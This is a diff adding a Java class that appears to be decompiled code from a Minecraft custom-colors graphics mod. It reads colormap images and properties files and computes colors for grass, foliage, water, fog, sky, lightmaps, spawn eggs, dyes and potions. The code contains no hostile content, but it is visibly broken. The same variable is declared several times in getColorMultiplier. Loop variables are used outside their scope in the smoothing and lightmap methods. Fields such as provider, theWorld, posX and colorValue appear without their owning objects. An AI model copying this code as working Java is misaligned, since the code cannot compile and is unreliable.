+      for (cmArr = 0; cmArr < basePalettes.length; cmArr++)
+      {
+        CustomColormap var15 = basePalettes[cmArr];
+        addToBlockList(var15, blockList);
+      }
+    }
+    
+    if (blockList.size() <= 0)
+    {
+      return null;
+    }
+    
+
+    CustomColormap[][] var14 = blockListToArray(blockList);
+    return var14;
+  }
+  
+
+  private static void addToBlockList(CustomColormap cm, List blockList)
+  {
+    int[] ids = cm.getMatchBlockIds();
+    
+    if ((ids != null) && (ids.length > 0))
+    {
+      for (int i = 0; i < ids.length; i++)
+      {
+        int blockId = ids[i];
+        
+        if (blockId < 0)
+        {
+          warn("Invalid block ID: " + blockId);
+        }
+        else
+        {
+          addToList(cm, blockList, blockId);
+        }
+        
+      }
+      
+    } else {
+      warn("No match blocks: " + Config.arrayToString(ids));
+    }
+  }
+  
+  private static void addToList(CustomColormap cm, List list, int id)
+  {
+    while (id >= list.size())
+    {
+      list.add(null);
+    }
+    
+    Object subList = (List)list.get(id);
+    
+    if (subList == null)
+    {
+      subList = new ArrayList();
+      list.set(id, subList);
+    }
+    
+    ((List)subList).add(cm);
+  }
+  
+  private static CustomColormap[][] blockListToArray(List list)
+  {
+    CustomColormap[][] colArr = new CustomColormap[list.size()][];
+    
+    for (int i = 0; i < list.size(); i++)
+    {
+      List subList = (List)list.get(i);
+      
+      if (subList != null)
+      {
+        CustomColormap[] subArr = (CustomColormap[])subList.toArray(new CustomColormap[subList.size()]);
+        colArr[i] = subArr;
+      }
+    }
+    
+    return colArr;
+  }
+  
+  private static int readColor(Properties props, String[] names)
+  {
+    for (int i = 0; i < names.length; i++)
+    {
+      String name = names[i];
+      int col = readColor(props, name);
+      
+      if (col >= 0)
+      {
+        return col;
+      }
+    }
+    
+    return -1;
+  }
+  
+  private static int readColor(Properties props, String name)
+  {
+    String str = props.getProperty(name);
+    
+    if (str == null)
+    {
+      return -1;
+    }
+    
+
+    str = str.trim();
+    int color = parseColor(str);
+    
+    if (color < 0)
+    {
+      warn("Invalid color: " + name + " = " + str);
+      return color;
+    }
+    
+
+    dbg(name + " = " + str);
+    return color;
+  }
+  
+
+
+  private static int parseColor(String str)
+  {
+    if (str == null)
+    {
+      return -1;
+    }
+    
+
+    str = str.trim();
+    
+    try
+    {
+      return Integer.parseInt(str, 16) & 0xFFFFFF;
+    }
+    catch (NumberFormatException var2) {}
+    
+
+    return -1;
+  }
+  
+
+
+  private static Vec3 readColorVec3(Properties props, String name)
+  {
+    int col = readColor(props, name);
+    
+    if (col < 0)
+    {
+      return null;
+    }
+    
+
+    int red = col >> 16 & 0xFF;
+    int green = col >> 8 & 0xFF;
+    int blue = col & 0xFF;
+    float redF = red / 255.0F;
+    float greenF = green / 255.0F;
+    float blueF = blue / 255.0F;
+    return new Vec3(redF, greenF, blueF);
+  }
+  
+
+  private static CustomColormap getCustomColors(String basePath, String[] paths, int width, int height)
+  {
+    for (int i = 0; i < paths.length; i++)
+    {
+      String path = paths[i];
+      path = basePath + path;
+      CustomColormap cols = getCustomColors(path, width, height);
+      
+      if (cols != null)
+      {
+        return cols;
+      }
+    }
+    
+    return null;
+  }
+  
+  public static CustomColormap getCustomColors(String pathImage, int width, int height)
+  {
+    try
+    {
+      ResourceLocation e = new ResourceLocation(pathImage);
+      
+      if (!Config.hasResource(e))
+      {
+        return null;
+      }
+      
+
+      dbg("Colormap " + pathImage);
+      Properties props = new Properties();
+      String pathProps = StrUtils.replaceSuffix(pathImage, ".png", ".properties");
+      ResourceLocation locProps = new ResourceLocation(pathProps);
+      
+      if (Config.hasResource(locProps))
+      {
+        InputStream cm = Config.getResourceStream(locProps);
+        props.load(cm);
+        cm.close();
+        dbg("Colormap properties: " + pathProps);
+      }
+      else
+      {
+        props.put("format", "vanilla");
+        props.put("source", pathImage);
+        pathProps = pathImage;
+      }
+      
+      CustomColormap cm1 = new CustomColormap(props, pathProps, width, height);
+      return !cm1.isValid(pathProps) ? null : cm1;
+
+    }
+    catch (Exception var8)
+    {
+      var8.printStackTrace(); }
+    return null;
+  }
+  
+
+  public static void updateUseDefaultGrassFoliageColors()
+  {
+    useDefaultGrassFoliageColors = (foliageBirchColors == null) && (foliagePineColors == null) && (swampGrassColors == null) && (swampFoliageColors == null) && (Config.isSwampColors()) && (Config.isSmoothBiomes());
+  }
+  
+  public static int getColorMultiplier(BakedQuad quad, Block block, IBlockAccess blockAccess, BlockPos blockPos, RenderEnv renderEnv)
+  {
+    if (blockColormaps != null)
+    {
+      IBlockState metadata = renderEnv.getBlockState();
+      
+      if (!quad.func_178212_b())
+      {
+        if (block == Blocks.grass)
+        {
+          metadata = BLOCK_STATE_DIRT;
+        }
+        
+        if (block == Blocks.redstone_wire)
+        {
+          return -1;
+        }
+      }
+      
+      if ((block == Blocks.double_plant) && (renderEnv.getMetadata() >= 8))
+      {
+        blockPos = blockPos.offsetDown();
+        metadata = blockAccess.getBlockState(blockPos);
+      }
+      
+      CustomColormap colorizer = getBlockColormap(metadata);
+      
+      if (colorizer != null)
+      {
+        if ((Config.isSmoothBiomes()) && (!colorizer.isColorConstant()))
+        {
+          return getSmoothColorMultiplier(blockAccess, blockPos, colorizer, renderEnv.getColorizerBlockPosM());
+        }
+        
+        return colorizer.getColor(blockAccess, blockPos);
+      }
+    }
+    
+    if (!quad.func_178212_b())
+    {
+      return -1;
+    }
+    if (block == Blocks.waterlily)
+    {
+      return getLilypadColorMultiplier(blockAccess, blockPos);
+    }
+    if (block == Blocks.redstone_wire)
+    {
+      return getRedstoneColor(renderEnv.getBlockState());
+    }
+    if ((block instanceof net.minecraft.block.BlockStem))
+    {
+      return getStemColorMultiplier(block, blockAccess, blockPos, renderEnv);
+    }
+    if (useDefaultGrassFoliageColors)
+    {
+      return -1;
+    }
+    
+
+    int metadata1 = renderEnv.getMetadata();
+    IColorizer colorizer1;
+    IColorizer colorizer1;
+    if ((block != Blocks.grass) && (block != Blocks.tallgrass) && (block != Blocks.double_plant))
+    {
+      if (block == Blocks.double_plant)
+      {
+        IColorizer colorizer1 = COLORIZER_GRASS;
+        
+        if (metadata1 >= 8)
+        {
+          blockPos = blockPos.offsetDown();
+        }
+      }
+      else if (block == Blocks.leaves) { IColorizer colorizer1;
+        IColorizer colorizer1;
+        IColorizer colorizer1; IColorizer colorizer1; switch (metadata1 & 0x3)
+        {
+        case 0: 
+          colorizer1 = COLORIZER_FOLIAGE;
+          break;
+        
+        case 1: 
+          colorizer1 = COLORIZER_FOLIAGE_PINE;
+          break;
+        
+        case 2: 
+          colorizer1 = COLORIZER_FOLIAGE_BIRCH;
+          break;
+        
+        default: 
+          colorizer1 = COLORIZER_FOLIAGE;
+          
+          break; } } else { IColorizer colorizer1;
+        if (block == Blocks.leaves2)
+        {
+          colorizer1 = COLORIZER_FOLIAGE;
+        }
+        else
+        {
+          if (block != Blocks.vine)
+          {
+            return -1;
+          }
+          
+          colorizer1 = COLORIZER_FOLIAGE;
+        }
+      }
+    }
+    else {
+      colorizer1 = COLORIZER_GRASS;
+    }
+    
+    return (Config.isSmoothBiomes()) && (!colorizer1.isColorConstant()) ? getSmoothColorMultiplier(blockAccess, blockPos, colorizer1, renderEnv.getColorizerBlockPosM()) : colorizer1.getColor(blockAccess, blockPos);
+  }
+  
+
+  protected static BiomeGenBase getColorBiome(IBlockAccess blockAccess, BlockPos blockPos)
+  {
+    BiomeGenBase biome = blockAccess.getBiomeGenForCoords(blockPos);
+    
+    if ((biome == BiomeGenBase.swampland) && (!Config.isSwampColors()))
+    {
+      biome = BiomeGenBase.plains;
+    }
+    
+    return biome;
+  }
+  
+  private static CustomColormap getBlockColormap(IBlockState blockState)
+  {
+    if (blockColormaps == null)
+    {
+      return null;
+    }
+    if (!(blockState instanceof BlockStateBase))
+    {
+      return null;
+    }
+    
+
+    BlockStateBase bs = (BlockStateBase)blockState;
+    int blockId = bs.getBlockId();
+    
+    if ((blockId >= 0) && (blockId < blockColormaps.length))
+    {
+      CustomColormap[] cms = blockColormaps[blockId];
+      
+      if (cms == null)
+      {
+        return null;
+      }
+      
+
+      for (int i = 0; i < cms.length; i++)
+      {
+        CustomColormap cm = cms[i];
+        
+        if (cm.matchesBlock(bs))
+        {
+          return cm;
+        }
+      }
+      
+      return null;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+  private static int getSmoothColorMultiplier(IBlockAccess blockAccess, BlockPos blockPos, IColorizer colorizer, BlockPosM blockPosM)
+  {
+    int sumRed = 0;
+    int sumGreen = 0;
+    int sumBlue = 0;
+    int x = blockPos.getX();
+    int y = blockPos.getY();
+    int z = blockPos.getZ();
+    BlockPosM posM = blockPosM;
+    
+
+
+
+    for (int r = x - 1; r <= x + 1; r++)
+    {
+      for (int g = z - 1; g <= z + 1; g++)
+      {
+        posM.setXyz(r, y, g);
+        int b = colorizer.getColor(blockAccess, posM);
+        sumRed += (b >> 16 & 0xFF);
+        sumGreen += (b >> 8 & 0xFF);
+        sumBlue += (b & 0xFF);
+      }
+    }
+    
+    r = sumRed / 9;
+    int g = sumGreen / 9;
+    int b = sumBlue / 9;
+    return r << 16 | g << 8 | b;
+  }
+  
+  public static int getFluidColor(IBlockAccess blockAccess, IBlockState blockState, BlockPos blockPos, RenderEnv renderEnv)
+  {
+    Block block = blockState.getBlock();
+    Object colorizer = getBlockColormap(blockState);
+    
+    if ((colorizer == null) && (block.getMaterial() == Material.water))
+    {
+      colorizer = COLORIZER_WATER;
+    }
+    
+    return (Config.isSmoothBiomes()) && (!((IColorizer)colorizer).isColorConstant()) ? getSmoothColorMultiplier(blockAccess, blockPos, (IColorizer)colorizer, renderEnv.getColorizerBlockPosM()) : colorizer == null ? block.colorMultiplier(blockAccess, blockPos) : ((IColorizer)colorizer).getColor(blockAccess, blockPos);
+  }
+  
+  public static void updatePortalFX(EntityFX fx)
+  {
+    if (particlePortalColor >= 0)
+    {
+      int col = particlePortalColor;
+      int red = col >> 16 & 0xFF;
+      int green = col >> 8 & 0xFF;
+      int blue = col & 0xFF;
+      float redF = red / 255.0F;
+      float greenF = green / 255.0F;
+      float blueF = blue / 255.0F;
+      fx.setRBGColorF(redF, greenF, blueF);
+    }
+  }
+  
+  public static void updateMyceliumFX(EntityFX fx)
+  {
+    if (myceliumParticleColors != null)
+    {
+      int col = myceliumParticleColors.getColorRandom();
+      int red = col >> 16 & 0xFF;
+      int green = col >> 8 & 0xFF;
+      int blue = col & 0xFF;
+      float redF = red / 255.0F;
+      float greenF = green / 255.0F;
+      float blueF = blue / 255.0F;
+      fx.setRBGColorF(redF, greenF, blueF);
+    }
+  }
+  
+  private static int getRedstoneColor(IBlockState blockState)
+  {
+    if (redstoneColors == null)
+    {
+      return -1;
+    }
+    
+
+    int level = getRedstoneLevel(blockState, 15);
+    int col = redstoneColors.getColor(level);
+    return col;
+  }
+  
+
+  public static void updateReddustFX(EntityFX fx, IBlockAccess blockAccess, double x, double y, double z)
+  {
+    if (redstoneColors != null)
+    {
+      IBlockState state = blockAccess.getBlockState(new BlockPos(x, y, z));
+      int level = getRedstoneLevel(state, 15);
+      int col = redstoneColors.getColor(level);
+      int red = col >> 16 & 0xFF;
+      int green = col >> 8 & 0xFF;
+      int blue = col & 0xFF;
+      float redF = red / 255.0F;
+      float greenF = green / 255.0F;
+      float blueF = blue / 255.0F;
+      fx.setRBGColorF(redF, greenF, blueF);
+    }
+  }
+  
+  private static int getRedstoneLevel(IBlockState state, int def)
+  {
+    Block block = state.getBlock();
+    
+    if (!(block instanceof BlockRedstoneWire))
+    {
+      return def;
+    }
+    
+
+    Comparable val = state.getValue(BlockRedstoneWire.POWER);
+    
+    if (!(val instanceof Integer))
+    {
+      return def;
+    }
+    
+
+    Integer valInt = (Integer)val;
+    return valInt.intValue();
+  }
+  
+
+
+  public static int getXpOrbColor(float timer)
+  {
+    if (xpOrbColors == null)
+    {
+      return -1;
+    }
+    
+
+    int index = (int)((net.minecraft.util.MathHelper.sin(timer) + 1.0F) * (xpOrbColors.getLength() - 1) / 2.0D);
+    int col = xpOrbColors.getColor(index);
+    return col;
+  }
+  
+
+  public static void updateWaterFX(EntityFX fx, IBlockAccess blockAccess, double x, double y, double z)
+  {
+    if ((waterColors != null) || (blockColormaps != null))
+    {
+      BlockPos blockPos = new BlockPos(x, y, z);
+      RenderEnv renderEnv = RenderEnv.getInstance(blockAccess, BLOCK_STATE_WATER, blockPos);
+      int col = getFluidColor(blockAccess, BLOCK_STATE_WATER, blockPos, renderEnv);
+      int red = col >> 16 & 0xFF;
+      int green = col >> 8 & 0xFF;
+      int blue = col & 0xFF;
+      float redF = red / 255.0F;
+      float greenF = green / 255.0F;
+      float blueF = blue / 255.0F;
+      
+      if (particleWaterColor >= 0)
+      {
+        int redDrop = particleWaterColor >> 16 & 0xFF;
+        int greenDrop = particleWaterColor >> 8 & 0xFF;
+        int blueDrop = particleWaterColor & 0xFF;
+        redF *= redDrop / 255.0F;
+        greenF *= greenDrop / 255.0F;
+        blueF *= blueDrop / 255.0F;
+      }
+      
+      fx.setRBGColorF(redF, greenF, blueF);
+    }
+  }
+  
+  private static int getLilypadColorMultiplier(IBlockAccess blockAccess, BlockPos blockPos)
+  {
+    return lilyPadColor < 0 ? Blocks.waterlily.colorMultiplier(blockAccess, blockPos) : lilyPadColor;
+  }
+  
+  private static Vec3 getFogColorNether(Vec3 col)
+  {
+    return fogColorNether == null ? col : fogColorNether;
+  }
+  
+  private static Vec3 getFogColorEnd(Vec3 col)
+  {
+    return fogColorEnd == null ? col : fogColorEnd;
+  }
+  
+  private static Vec3 getSkyColorEnd(Vec3 col)
+  {
+    return skyColorEnd == null ? col : skyColorEnd;
+  }
+  
+  public static Vec3 getSkyColor(Vec3 skyColor3d, IBlockAccess blockAccess, double x, double y, double z)
+  {
+    if (skyColors == null)
+    {
+      return skyColor3d;
+    }
+    
+
+    int col = skyColors.getColorSmooth(blockAccess, x, y, z, 3);
+    int red = col >> 16 & 0xFF;
+    int green = col >> 8 & 0xFF;
+    int blue = col & 0xFF;
+    float redF = red / 255.0F;
+    float greenF = green / 255.0F;
+    float blueF = blue / 255.0F;
+    float cRed = (float)xCoord / 0.5F;
+    float cGreen = (float)yCoord / 0.66275F;
+    float cBlue = (float)zCoord;
+    redF *= cRed;
+    greenF *= cGreen;
+    blueF *= cBlue;
+    Vec3 newCol = skyColorFader.getColor(redF, greenF, blueF);
+    return newCol;
+  }
+  
+
+  private static Vec3 getFogColor(Vec3 fogColor3d, IBlockAccess blockAccess, double x, double y, double z)
+  {
+    if (fogColors == null)
+    {
+      return fogColor3d;
+    }
+    
+
+    int col = fogColors.getColorSmooth(blockAccess, x, y, z, 3);
+    int red = col >> 16 & 0xFF;
+    int green = col >> 8 & 0xFF;
+    int blue = col & 0xFF;
+    float redF = red / 255.0F;
+    float greenF = green / 255.0F;
+    float blueF = blue / 255.0F;
+    float cRed = (float)xCoord / 0.753F;
+    float cGreen = (float)yCoord / 0.8471F;
+    float cBlue = (float)zCoord;
+    redF *= cRed;
+    greenF *= cGreen;
+    blueF *= cBlue;
+    Vec3 newCol = fogColorFader.getColor(redF, greenF, blueF);
+    return newCol;
+  }
+  
+
+  public static Vec3 getUnderwaterColor(IBlockAccess blockAccess, double x, double y, double z)
+  {
+    if (underwaterColors == null)
+    {
+      return null;
+    }
+    
+
+    int col = underwaterColors.getColorSmooth(blockAccess, x, y, z, 3);
+    int red = col >> 16 & 0xFF;
+    int green = col >> 8 & 0xFF;
+    int blue = col & 0xFF;
+    float redF = red / 255.0F;
+    float greenF = green / 255.0F;
+    float blueF = blue / 255.0F;
+    Vec3 newCol = underwaterColorFader.getColor(redF, greenF, blueF);
+    return newCol;
+  }
+  
+
+  private static int getStemColorMultiplier(Block blockStem, IBlockAccess blockAccess, BlockPos blockPos, RenderEnv renderEnv)
+  {
+    CustomColormap colors = stemColors;
+    
+    if ((blockStem == Blocks.pumpkin_stem) && (stemPumpkinColors != null))
+    {
+      colors = stemPumpkinColors;
+    }
+    
+    if ((blockStem == Blocks.melon_stem) && (stemMelonColors != null))
+    {
+      colors = stemMelonColors;
+    }
+    
+    if (colors == null)
+    {
+      return -1;
+    }
+    
+
+    int level = renderEnv.getMetadata();
+    return colors.getColor(level);
+  }
+  
+
+  public static boolean updateLightmap(World world, float torchFlickerX, int[] lmColors, boolean nightvision)
+  {
+    if (world == null)
+    {
+      return false;
+    }
+    if (lightMapsColorsRgb == null)
+    {
+      return false;
+    }
+    
+
+    int dimensionId = provider.getDimensionId();
+    int lightMapIndex = dimensionId - lightmapMinDimensionId;
+    
+    if ((lightMapIndex >= 0) && (lightMapIndex < lightMapsColorsRgb.length))
+    {
+      CustomColormap lightMapRgb = lightMapsColorsRgb[lightMapIndex];
+      
+      if (lightMapRgb == null)
+      {
+        return false;
+      }
+      
+
+      int height = lightMapRgb.getHeight();
+      
+      if ((nightvision) && (height < 64))
+      {
+        return false;
+      }
+      
+
+      int width = lightMapRgb.getWidth();
+      
+      if (width < 16)
+      {
+        warn("Invalid lightmap width: " + width + " for dimension: " + dimensionId);
+        lightMapsColorsRgb[lightMapIndex] = null;
+        return false;
+      }
+      
+
+      int startIndex = 0;
+      
+      if (nightvision)
+      {
+        startIndex = width * 16 * 2;
+      }
+      
+      float sun = 1.1666666F * (world.getSunBrightness(1.0F) - 0.2F);
+      
+      if (world.func_175658_ac() > 0)
+      {
+        sun = 1.0F;
+      }
+      
+      sun = Config.limitTo1(sun);
+      float sunX = sun * (width - 1);
+      float torchX = Config.limitTo1(torchFlickerX + 0.5F) * (width - 1);
+      float gamma = Config.limitTo1(getGameSettingsgammaSetting);
+      boolean hasGamma = gamma > 1.0E-4F;
+      float[][] colorsRgb = lightMapRgb.getColorsRgb();
+      getLightMapColumn(colorsRgb, sunX, startIndex, width, sunRgbs);
+      getLightMapColumn(colorsRgb, torchX, startIndex + 16 * width, width, torchRgbs);
+      float[] rgb = new float[3];
+      
+      for (int is = 0; is < 16; is++)
+      {
+        for (int it = 0; it < 16; it++)
+        {
+
+
+          for (int r = 0; r < 3; r++)
+          {
+            float g = Config.limitTo1(sunRgbs[is][r] + torchRgbs[it][r]);
+            
+            if (hasGamma)
+            {
+              float b = 1.0F - g;
+              b = 1.0F - b * b * b * b;
+              g = gamma * b + (1.0F - gamma) * g;
+            }
+            
+            rgb[r] = g;
+          }
+          
+          r = (int)(rgb[0] * 255.0F);
+          int var22 = (int)(rgb[1] * 255.0F);
+          int var23 = (int)(rgb[2] * 255.0F);
+          lmColors[(is * 16 + it)] = (0xFF000000 | r << 16 | var22 << 8 | var23);
+        }
+      }
+      
+      return true;
+    }
+    
+
+
+
+
+    return false;
+  }
+  
+
+
+  private static void getLightMapColumn(float[][] origMap, float x, int offset, int width, float[][] colRgb)
+  {
+    int xLow = (int)Math.floor(x);
+    int xHigh = (int)Math.ceil(x);
+    
+    if (xLow == xHigh)
+    {
+      for (int var14 = 0; var14 < 16; var14++)
+      {
+        float[] var15 = origMap[(offset + var14 * width + xLow)];
+        float[] var16 = colRgb[var14];
+        
+        for (int var17 = 0; var17 < 3; var17++)
+        {
+          var16[var17] = var15[var17];
+        }
+      }
+    }
+    else
+    {
+      float dLow = 1.0F - (x - xLow);
+      float dHigh = 1.0F - (xHigh - x);
+      
+      for (int y = 0; y < 16; y++)
+      {
+        float[] rgbLow = origMap[(offset + y * width + xLow)];
+        float[] rgbHigh = origMap[(offset + y * width + xHigh)];
+        float[] rgb = colRgb[y];
+        
+        for (int i = 0; i < 3; i++)
+        {
+          rgb[i] = (rgbLow[i] * dLow + rgbHigh[i] * dHigh);
+        }
+      }
+    }
+  }
+  
+  public static Vec3 getWorldFogColor(Vec3 fogVec, WorldClient world, Entity renderViewEntity, float partialTicks)
+  {
+    int worldType = provider.getDimensionId();
+    
+    switch (worldType)
+    {
+    case -1: 
+      fogVec = getFogColorNether(fogVec);
+      break;
+    
+    case 0: 
+      Minecraft mc = Minecraft.getMinecraft();
+      fogVec = getFogColor(fogVec, theWorld, posX, posY + 1.0D, posZ);
+      break;
+    
+    case 1: 
+      fogVec = getFogColorEnd(fogVec);
+    }
+    
+    return fogVec;
+  }
+  
+  public static Vec3 getWorldSkyColor(Vec3 skyVec, WorldClient world, Entity renderViewEntity, float partialTicks)
+  {
+    int worldType = provider.getDimensionId();
+    
+    switch (worldType)
+    {
+    case 0: 
+      Minecraft mc = Minecraft.getMinecraft();
+      skyVec = getSkyColor(skyVec, theWorld, posX, posY + 1.0D, posZ);
+      break;
+    
+    case 1: 
+      skyVec = getSkyColorEnd(skyVec);
+    }
+    
+    return skyVec;
+  }
+  
+  private static int[] readSpawnEggColors(Properties props, String fileName, String prefix, String logName)
+  {
+    ArrayList list = new ArrayList();
+    Set keys = props.keySet();
+    int countColors = 0;
+    Iterator colors = keys.iterator();
+    
+    while (colors.hasNext())
+    {
+      String i = (String)colors.next();
+      String value = props.getProperty(i);
+      
+      if (i.startsWith(prefix))
+      {
+        String name = StrUtils.removePrefix(i, prefix);
+        int id = getEntityId(name);
+        int color = parseColor(value);
+        
+        if ((id >= 0) && (color >= 0))
+        {
+          while (list.size() <= id)
+          {
+            list.add(Integer.valueOf(-1));
+          }
+          
+          list.set(id, Integer.valueOf(color));
+          countColors++;
+        }
+        else
+        {
+          warn("Invalid spawn egg color: " + i + " = " + value);
+        }
+      }
+    }
+    
+    if (countColors <= 0)
+    {
+      return null;
+    }
+    
+
+    dbg(logName + " colors: " + countColors);
+    int[] var13 = new int[list.size()];
+    
+    for (int var14 = 0; var14 < var13.length; var14++)
+    {
+      var13[var14] = ((Integer)list.get(var14)).intValue();
+    }
+    
+    return var13;
+  }
+  
+
+  private static int getSpawnEggColor(ItemMonsterPlacer item, ItemStack itemStack, int layer, int color)
+  {
+    int id = itemStack.getMetadata();
+    int[] eggColors = layer == 0 ? spawnEggPrimaryColors : spawnEggSecondaryColors;
+    
+    if (eggColors == null)
+    {
+      return color;
+    }
+    if ((id >= 0) && (id < eggColors.length))
+    {
+      int eggColor = eggColors[id];
+      return eggColor < 0 ? color : eggColor;
+    }
+    
+
+    return color;
+  }
+  
+
+  public static int getColorFromItemStack(ItemStack itemStack, int layer, int color)
+  {
+    if (itemStack == null)
+    {
+      return color;
+    }
+    
+
+    Item item = itemStack.getItem();
+    return (item instanceof ItemMonsterPlacer) ? getSpawnEggColor((ItemMonsterPlacer)item, itemStack, layer, color) : item == null ? color : color;
+  }
+  
+
+  private static float[][] readDyeColors(Properties props, String fileName, String prefix, String logName)
+  {
+    EnumDyeColor[] dyeValues = EnumDyeColor.values();
+    HashMap mapDyes = new HashMap();
+    
+    for (int colors = 0; colors < dyeValues.length; colors++)
+    {
+      EnumDyeColor countColors = dyeValues[colors];
+      mapDyes.put(countColors.getName(), countColors);
+    }
+    
+    float[][] var16 = new float[dyeValues.length][];
+    int var17 = 0;
+    Set keys = props.keySet();
+    Iterator iter = keys.iterator();
+    
+    while (iter.hasNext())
+    {
+      String key = (String)iter.next();
+      String value = props.getProperty(key);
+      
+      if (key.startsWith(prefix))
+      {
+        String name = StrUtils.removePrefix(key, prefix);
+        
+        if (name.equals("lightBlue"))
+        {
+          name = "light_blue";
+        }
+        
+        EnumDyeColor dye = (EnumDyeColor)mapDyes.get(name);
+        int color = parseColor(value);
+        
+        if ((dye != null) && (color >= 0))
+        {
+          float[] rgb = { (color >> 16 & 0xFF) / 255.0F, (color >> 8 & 0xFF) / 255.0F, (color & 0xFF) / 255.0F };
+          var16[dye.ordinal()] = rgb;
+          var17++;
+        }
+        else
+        {
+          warn("Invalid color: " + key + " = " + value);
+        }
+      }
+    }
+    
+    if (var17 <= 0)
+    {
+      return null;
+    }
+    
+
+    dbg(logName + " colors: " + var17);
+    return var16;
+  }
+  
+
+  private static float[] getDyeColors(EnumDyeColor dye, float[][] dyeColors, float[] colors)
+  {
+    if (dyeColors == null)
+    {
+      return colors;
+    }
+    if (dye == null)
+    {
+      return colors;
+    }
+    
+
+    float[] customColors = dyeColors[dye.ordinal()];
+    return customColors == null ? colors : customColors;
+  }
+  
+
+  public static float[] getWolfCollarColors(EnumDyeColor dye, float[] colors)
+  {
+    return getDyeColors(dye, wolfCollarColors, colors);
+  }
+  
+  public static float[] getSheepColors(EnumDyeColor dye, float[] colors)
+  {
+    return getDyeColors(dye, sheepColors, colors);
+  }
+  
+  private static int[] readTextColors(Properties props, String fileName, String prefix, String logName)
+  {
+    int[] colors = new int[32];
+    Arrays.fill(colors, -1);
+    int countColors = 0;
+    Set keys = props.keySet();
+    Iterator iter = keys.iterator();
+    
+    while (iter.hasNext())
+    {
+      String key = (String)iter.next();
+      String value = props.getProperty(key);
+      
+      if (key.startsWith(prefix))
+      {
+        String name = StrUtils.removePrefix(key, prefix);
+        int code = Config.parseInt(name, -1);
+        int color = parseColor(value);
+        
+        if ((code >= 0) && (code < colors.length) && (color >= 0))
+        {
+          colors[code] = color;
+          countColors++;
+        }
+        else
+        {
+          warn("Invalid color: " + key + " = " + value);
+        }
+      }
+    }
+    
+    if (countColors <= 0)
+    {
+      return null;
+    }
+    
+
+    dbg(logName + " colors: " + countColors);
+    return colors;
+  }
+  
+
+  public static int getTextColor(int index, int color)
+  {
+    if (textColors == null)
+    {
+      return color;
+    }
+    if ((index >= 0) && (index < textColors.length))
+    {
+      int customColor = textColors[index];
+      return customColor < 0 ? color : customColor;
+    }
+    
+
+    return color;
+  }
+  
+
+  private static int[] readMapColors(Properties props, String fileName, String prefix, String logName)
+  {
+    int[] colors = new int[MapColor.mapColorArray.length];
+    Arrays.fill(colors, -1);
+    int countColors = 0;
+    Set keys = props.keySet();
+    Iterator iter = keys.iterator();
+    
+    while (iter.hasNext())
+    {
+      String key = (String)iter.next();
+      String value = props.getProperty(key);
+      
+      if (key.startsWith(prefix))
+      {
+        String name = StrUtils.removePrefix(key, prefix);
+        int index = getMapColorIndex(name);
+        int color = parseColor(value);
+        
+        if ((index >= 0) && (index < colors.length) && (color >= 0))
+        {
+          colors[index] = color;
+          countColors++;
+        }
+        else
+        {
+          warn("Invalid color: " + key + " = " + value);
+        }
+      }
+    }
+    
+    if (countColors <= 0)
+    {
+      return null;
+    }
+    
+
+    dbg(logName + " colors: " + countColors);
+    return colors;
+  }
+  
+
+  private static int[] readPotionColors(Properties props, String fileName, String prefix, String logName)
+  {
+    int[] colors = new int[Potion.potionTypes.length];
+    Arrays.fill(colors, -1);
+    int countColors = 0;
+    Set keys = props.keySet();
+    Iterator iter = keys.iterator();
+    
+    while (iter.hasNext())
+    {
+      String key = (String)iter.next();
+      String value = props.getProperty(key);
+      
+      if (key.startsWith(prefix))
+      {
+        int index = getPotionId(key);
+        int color = parseColor(value);
+        
+        if ((index >= 0) && (index < colors.length) && (color >= 0))
+        {
+          colors[index] = color;
+          countColors++;
+        }
+        else
+        {
+          warn("Invalid color: " + key + " = " + value);
+        }
+      }
+    }
+    
+    if (countColors <= 0)
+    {
+      return null;
+    }
+    
+
+    dbg(logName + " colors: " + countColors);
+    return colors;
+  }
+  
+
+  private static int getPotionId(String name)
+  {
+    if (name.equals("potion.water"))
+    {
+      return 0;
+    }
+    
+
+    Potion[] potions = Potion.potionTypes;
+    
+    for (int i = 0; i < potions.length; i++)
+    {
+      Potion potion = potions[i];
+      
+      if ((potion != null) && (potion.getName().equals(name)))
+      {
+        return potion.getId();
+      }
+    }
+    
+    return -1;
+  }
+  
+
+  public static int getPotionColor(int potionId, int color)
+  {
+    if (potionColors == null)
+    {
+      return color;
+    }
+    if ((potionId >= 0) && (potionId < potionColors.length))
+    {
+      int potionColor = potionColors[potionId];
+      return potionColor < 0 ? color : potionColor;
+    }
+    
+
+    return color;
+  }
+  
+
+  private static int getMapColorIndex(String name)
+  {
+    return name.equals("netherrack") ? netherrackColorcolorIndex : name.equals("obsidian") ? obsidianColorcolorIndex : name.equals("emerald") ? emeraldColorcolorIndex : name.equals("lapis") ? lapisColorcolorIndex : name.equals("diamond") ? diamondColorcolorIndex : name.equals("gold") ? goldColorcolorIndex : name.equals("black") ? blackColorcolorIndex : name.equals("red") ? redColorcolorIndex : name.equals("green") ? greenColorcolorIndex : name.equals("brown") ? brownColorcolorIndex : name.equals("blue") ? blueColorcolorIndex : name.equals("purple") ? purpleColorcolorIndex : name.equals("cyan") ? cyanColorcolorIndex : name.equals("silver") ? silverColorcolorIndex : name.equals("gray") ? grayColorcolorIndex : name.equals("pink") ? pinkColorcolorIndex : name.equals("lime") ? limeColorcolorIndex : name.equals("yellow") ? yellowColorcolorIndex : name.equals("light_blue") ? lightBlueColorcolorIndex : name.equals("lightBlue") ? lightBlueColorcolorIndex : name.equals("magenta") ? magentaColorcolorIndex : name.equals("adobe") ? adobeColorcolorIndex : name.equals("quartz") ? quartzColorcolorIndex : name.equals("wood") ? woodColorcolorIndex : name.equals("water") ? waterColorcolorIndex : name.equals("stone") ? stoneColorcolorIndex : name.equals("dirt") ? dirtColorcolorIndex : name.equals("clay") ? clayColorcolorIndex : name.equals("snow") ? snowColorcolorIndex : name.equals("foliage") ? foliageColorcolorIndex : name.equals("iron") ? ironColorcolorIndex : name.equals("ice") ? iceColorcolorIndex : name.equals("tnt") ? tntColorcolorIndex : name.equals("cloth") ? clothColorcolorIndex : name.equals("sand") ? sandColorcolorIndex : name.equals("grass") ? grassColorcolorIndex : name.equals("air") ? airColorcolorIndex : name == null ? -1 : -1;
+  }
+  
+  private static int[] getMapColors()
+  {
+    MapColor[] mapColors = MapColor.mapColorArray;
+    int[] colors = new int[mapColors.length];
+    Arrays.fill(colors, -1);
+    
+    for (int i = 0; (i < mapColors.length) && (i < colors.length); i++)
+    {
+      MapColor mapColor = mapColors[i];
+      
+      if (mapColor != null)
+      {
+        colors[i] = colorValue;
+      }
+    }
+    
+    return colors;
+  }
+  
+  private static void setMapColors(int[] colors)
+  {
